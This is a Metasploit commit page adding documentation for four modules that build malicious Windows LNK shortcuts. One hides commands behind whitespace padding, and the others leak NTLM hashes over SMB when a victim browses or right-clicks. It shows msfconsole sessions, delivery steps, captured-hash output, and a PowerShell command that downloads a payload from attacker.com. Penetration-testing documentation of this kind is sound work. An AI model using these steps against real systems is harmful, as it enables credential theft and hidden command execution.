Skip to content

Commit 8112791

Browse files
msutovsky-r7msutovsky-r7
authored
Land #20518, adds NTLM leak/LNK padding fileformat modules
Adds fileformat NTLM leak/LNK padding modules
2 parents a849571 + c044db6 commit 8112791

File tree

8 files changed

+1055
-0
lines changed

8 files changed

+1055
-0
lines changed

‎documentation/modules/auxiliary/fileformat/datablock_padding_lnk.md‎

Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
## Vulnerable Application
2+
3+
Windows systems where LNK files are processed, such as in Explorer or when shortcuts are executed.
4+
This can lead to arbitrary command execution via manipulated command line buffers.
5+
6+
References:
7+
- [ZDI-CAN-25373](https://www.zerodayinitiative.com/advisories/ZDI-CAN-25373/)
8+
- [Windows LNK Research](https://zeifan.my/Windows-LNK/)
9+
- [Gist Example](https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1)
10+
- [Trend Micro Analysis](https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html)
11+
12+
Disclosure Date: 2025-07-19.
13+
14+
## Verification Steps
15+
16+
1. Start msfconsole.
17+
1. Load the module: `use auxiliary/fileformat/windows_lnk_padding`.
18+
1. Optionally customize FILENAME, DESCRIPTION, ICON_PATH, or BUFFER_SIZE.
19+
1. Execute the module: `run`.
20+
1. A malicious LNK file will be generated.
21+
1. Deliver the LNK file to the target Windows system.
22+
1. Open the LNK file to trigger command execution (e.g., launching calc.exe).
23+
24+
## Options
25+
26+
27+
### COMMAND
28+
29+
The command to execute when the LNK is opened.
30+
31+
Default: `C:\\Windows\\System32\\calc.exe`
32+
33+
Example:
34+
```
35+
set COMMAND powershell.exe -c "Invoke-WebRequest -Uri http://attacker.com/payload"
36+
```
37+
38+
### DESCRIPTION
39+
40+
Optional description for the LNK file. If not set, a random sentence is generated.
41+
42+
Example:
43+
```
44+
set DESCRIPTION Important Document
45+
```
46+
47+
### ICON_PATH
48+
49+
Optional path to an icon for the LNK file. If not set, a random system icon path is generated.
50+
51+
Example:
52+
```
53+
set ICON_PATH %SystemRoot%\\System32\\shell32.dll
54+
```
55+
56+
### BUFFER_SIZE
57+
58+
The size of the whitespace padding buffer before the command (must be sufficient to avoid truncation).
59+
60+
Default: 900
61+
62+
Example:
63+
```
64+
set BUFFER_SIZE 1000
65+
```
66+
67+
## Scenarios
68+
69+
### Basic Command Execution on Windows
70+
71+
Target: Any Windows system (e.g., Windows 10 or later).
72+
73+
Generate an LNK that launches Calculator with custom padding:
74+
75+
```
76+
msf > use auxiliary/fileformat/windows_lnk_padding
77+
msf auxiliary(fileformat/windows_lnk_padding) > set FILENAME calc.lnk
78+
FILENAME => calc.lnk
79+
msf auxiliary(fileformat/windows_lnk_padding) > set COMMAND C:\\Windows\\System32\\calc.exe
80+
COMMAND => C:\\Windows\\System32\\calc.exe
81+
msf auxiliary(fileformat/windows_lnk_padding) > set BUFFER_SIZE 900
82+
BUFFER_SIZE => 900
83+
msf auxiliary(fileformat/windows_lnk_padding) > set DESCRIPTION Calculator Shortcut
84+
DESCRIPTION => Calculator Shortcut
85+
msf auxiliary(fileformat/windows_lnk_padding) > set ICON_PATH %SystemRoot%\\System32\\calc.exe
86+
ICON_PATH => %SystemRoot%\\System32\\calc.exe
87+
msf auxiliary(fileformat/windows_lnk_padding) > run
88+
89+
[*] Generating LNK file: calc.lnk
90+
[+] Successfully created calc.lnk
91+
[*] Command line buffer size: 900 bytes
92+
[*] Target command: C:\\Windows\\System32\\calc.exe
93+
[*] Auxiliary module execution completed
94+
```

‎documentation/modules/auxiliary/fileformat/environment_variable_datablock_leak.md‎

Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
## Vulnerable Application
2+
3+
Windows systems where LNK files are processed in Explorer, particularly during right-click actions that load context menus.
4+
This can result in NTLM credential leaks over SMB.
5+
6+
References:
7+
- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/)
8+
9+
Disclosure Date: 2025-05-06.
10+
11+
## Verification Steps
12+
13+
1. Start msfconsole.
14+
1. Load the module: `use auxiliary/fileformat/right_click_lnk_leak`.
15+
1. Optionally customize FILENAME, DESCRIPTION, ICON_PATH, or PADDING_SIZE.
16+
1. Execute the module: `run`.
17+
1. A malicious LNK file is generated.
18+
1. Set up an SMB capture listener (e.g., `auxiliary/server/capture/smb`).
19+
1. Deliver the LNK file to the target system.
20+
1. Right-click the LNK file in Explorer to trigger the SMB connection.
21+
1. Monitor the listener for captured NTLM hashes.
22+
23+
## Options
24+
25+
### DESCRIPTION
26+
27+
The description for the shortcut.
28+
29+
Default: `Testing Purposes`
30+
31+
Example:
32+
```
33+
set DESCRIPTION Important File
34+
```
35+
36+
### ICON_PATH
37+
38+
The path to an icon for the LNK file.
39+
40+
Default: `e.g. abc.ico`
41+
42+
Example:
43+
```
44+
set ICON_PATH %SystemRoot%\\System32\\shell32.dll
45+
```
46+
47+
### PADDING_SIZE
48+
49+
Size of padding in the command arguments.
50+
51+
Default: 10
52+
53+
Example:
54+
```
55+
set PADDING_SIZE 20
56+
```
57+
58+
## Scenarios
59+
60+
### NTLM Hash Capture on Right-Click
61+
62+
Target: Windows system with Explorer (e.g., Windows 10 or later).
63+
64+
Generate the LNK file:
65+
66+
```
67+
msf > use auxiliary/fileformat/right_click_lnk_leak
68+
msf auxiliary(fileformat/right_click_lnk_leak) > set DESCRIPTION Fake Document
69+
DESCRIPTION => Fake Document
70+
msf auxiliary(fileformat/right_click_lnk_leak) > set ICON_PATH %SystemRoot%\\System32\\imageres.dll
71+
ICON_PATH => %SystemRoot%\\System32\\imageres.dll
72+
msf auxiliary(fileformat/right_click_lnk_leak) > set PADDING_SIZE 15
73+
PADDING_SIZE => 15
74+
msf auxiliary(fileformat/right_click_lnk_leak) > run
75+
76+
[*] Creating 'context.lnk' file...
77+
[+] LNK file created: context.lnk
78+
[*] Set up a listener (e.g., auxiliary/server/capture/smb) to capture the authentication
79+
[*] Auxiliary module execution completed
80+
```
81+
82+
Set up the capture listener on the attacker machine:
83+
84+
```
85+
msf > use auxiliary/server/capture/smb
86+
msf auxiliary(server/capture/smb) > set SRVHOST 192.168.1.25
87+
SRVHOST => 192.168.1.25
88+
msf auxiliary(server/capture/smb) > run
89+
[*] Server started.
90+
```
91+
92+
Deliver `context.lnk` to the target. When the victim right-clicks it, an SMB connection is attempted:
93+
94+
```
95+
[*] SMB Captured - 2025-09-18 21:08:00 +0530
96+
NTLMv2 Response Captured from 192.168.1.50:49180 - 192.168.1.50
97+
USER:targetuser DOMAIN:TARGETPC OS: Windows 10 LM:
98+
LMHASH:Disabled
99+
LM_CLIENT_CHALLENGE:Disabled
100+
NTHASH:examplehashvalue
101+
NT_CLIENT_CHALLENGE:examplechallenge
102+
```
103+
104+
Use cracking tools to recover credentials from the hash.

‎documentation/modules/auxiliary/fileformat/icon_environment_datablock_leak.md‎

Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
## Vulnerable Application
2+
3+
Windows systems using Explorer to browse directories with LNK files, where the IconEnvironmentDataBlock can force SMB authentication leaks.
4+
5+
References:
6+
- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/)
7+
8+
Disclosure Date: 2025-05-16.
9+
10+
## Verification Steps
11+
12+
1. Start msfconsole.
13+
1. Load the module: `use auxiliary/fileformat/iconenvironmentdatablock_lnk`.
14+
1. Set options like FILENAME, or others as needed.
15+
1. Execute the module: `run`.
16+
1. A malicious LNK file is generated.
17+
1. Place the LNK in a target directory.
18+
1. Browse the directory in Windows Explorer to trigger the SMB connection.
19+
1. Check the console for captured NTLM hashes.
20+
21+
## Options
22+
23+
24+
### DESCRIPTION
25+
26+
Optional description for the shortcut. If unset, a random sentence is generated.
27+
28+
Example:
29+
```
30+
set DESCRIPTION System Update
31+
```
32+
33+
### ICON_PATH
34+
35+
Optional icon path for the LNK. If unset, a random system icon path is generated.
36+
37+
Example:
38+
```
39+
set ICON_PATH %SystemRoot%\\System32\\shell32.dll
40+
```
41+
42+
### PADDING_SIZE
43+
44+
Size of padding in the command arguments.
45+
46+
Default: 10
47+
48+
Example:
49+
```
50+
set PADDING_SIZE 20
51+
```
52+
53+
54+
## Scenarios
55+
56+
### NTLM Hash Capture via Integrated Server
57+
58+
Target: Windows system with Explorer.
59+
60+
```
61+
msf > use auxiliary/fileformat/iconenvironmentdatablock_lnk
62+
msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set FILENAME leak.lnk
63+
FILENAME => leak.lnk
64+
msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set SRVHOST 192.168.1.25
65+
SRVHOST => 192.168.1.25
66+
msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set DESCRIPTION Fake Shortcut
67+
DESCRIPTION => Fake Shortcut
68+
msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set PADDING_SIZE 15
69+
PADDING_SIZE => 15
70+
msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > run
71+
72+
[*] Creating 'leak.lnk' file...
73+
[+] LNK file created: leak.lnk
74+
[*] Listening for hashes on 192.168.1.25:445
75+
[*] Auxiliary module execution completed
76+
```
77+
78+
Deliver `leak.lnk` to a target folder. Browsing the folder triggers an SMB connection:
79+
80+
```
81+
[*] SMB Captured - 2025-09-18 21:07:00 +0530
82+
NTLMv2 Response Captured from 192.168.1.50:49180 - 192.168.1.50
83+
USER:victim DOMAIN:VICTIMPC OS: Windows 10 LM:
84+
LMHASH:Disabled
85+
LM_CLIENT_CHALLENGE:Disabled
86+
NTHASH:samplehash
87+
NT_CLIENT_CHALLENGE:samplechallenge
88+
```

‎documentation/modules/auxiliary/fileformat/specialfolder_leak.md‎

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
## Vulnerable Application
2+
3+
Windows operating systems that process LNK files via Explorer, particularly when browsing directories containing the malicious shortcut.
4+
This can lead to NTLM credential leaks over SMB.
5+
6+
References:
7+
- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/)
8+
- [Exploit-DB 42382](https://www.exploit-db.com/exploits/42382)
9+
10+
Disclosure Date: 2025-05-10 (reported to MSRC).
11+
12+
## Verification Steps
13+
14+
1. Start msfconsole.
15+
2. Load the module: `use auxiliary/fileformat/specialfolderdatablock_lnk`.
16+
3. Customize options as needed (e.g., set FILENAME or APPNAME).
17+
4. Execute the module: `run`.
18+
5. A malicious LNK file will be generated.
19+
6. If not using a custom UNCPATH, the module starts an SMB capture server automatically.
20+
7. Place the LNK file in a directory on the target system.
21+
8. Browse to the directory in Windows Explorer to trigger the SMB connection.
22+
9. Monitor the console for captured NTLM hashes.
23+
24+
## Options
25+
26+
### APPNAME
27+
28+
Sets the display name of the application in the LNK file. If empty, a random name is generated.
29+
30+
Example:
31+
```
32+
set APPNAME FakeApp
33+
```
34+
35+
36+
## Scenarios
37+
38+
### Basic NTLM Hash Capture on Windows
39+
40+
Target: A Windows system with Explorer (e.g., Windows 10 or later).
41+
42+
Attacker: Use the module to generate the LNK and capture hashes locally.
43+
44+
```
45+
msf > use auxiliary/fileformat/specialfolderdatablock_lnk
46+
msf auxiliary(fileformat/specialfolderdatablock_lnk) > set FILENAME malicious.lnk
47+
FILENAME => malicious.lnk
48+
msf auxiliary(fileformat/specialfolderdatablock_lnk) > set SRVHOST 192.168.1.25
49+
SRVHOST => 192.168.1.25
50+
msf auxiliary(fileformat/specialfolderdatablock_lnk) > set APPNAME FakeApp
51+
APPNAME => FakeApp
52+
msf auxiliary(fileformat/specialfolderdatablock_lnk) > run
53+
54+
[*] Starting SMB server on 192.168.1.25:445
55+
[*] Generating malicious LNK file
56+
[+] malicious.lnk stored at /root/.msf4/local/malicious.lnk
57+
[*] Listening for hashes on 192.168.1.25:445
58+
[*] Auxiliary module execution completed
59+
```
60+
61+
Deliver the `malicious.lnk` file to the target (e.g., via email or shared drive).
62+
When the victim opens the containing folder in Explorer, an SMB connection is attempted:
63+
64+
```
65+
[*] SMB Captured - 2025-09-18 21:03:00 +0530
66+
NTLMv2 Response Captured from 192.168.1.50:49180 - 192.168.1.50
67+
USER:targetuser DOMAIN:TARGETPC OS: Windows 10 LM:
68+
LMHASH:Disabled
69+
LM_CLIENT_CHALLENGE:Disabled
70+
NTHASH:examplehashvalue
71+
NT_CLIENT_CHALLENGE:examplechallenge
72+
```

0 commit comments

Comments
 (0)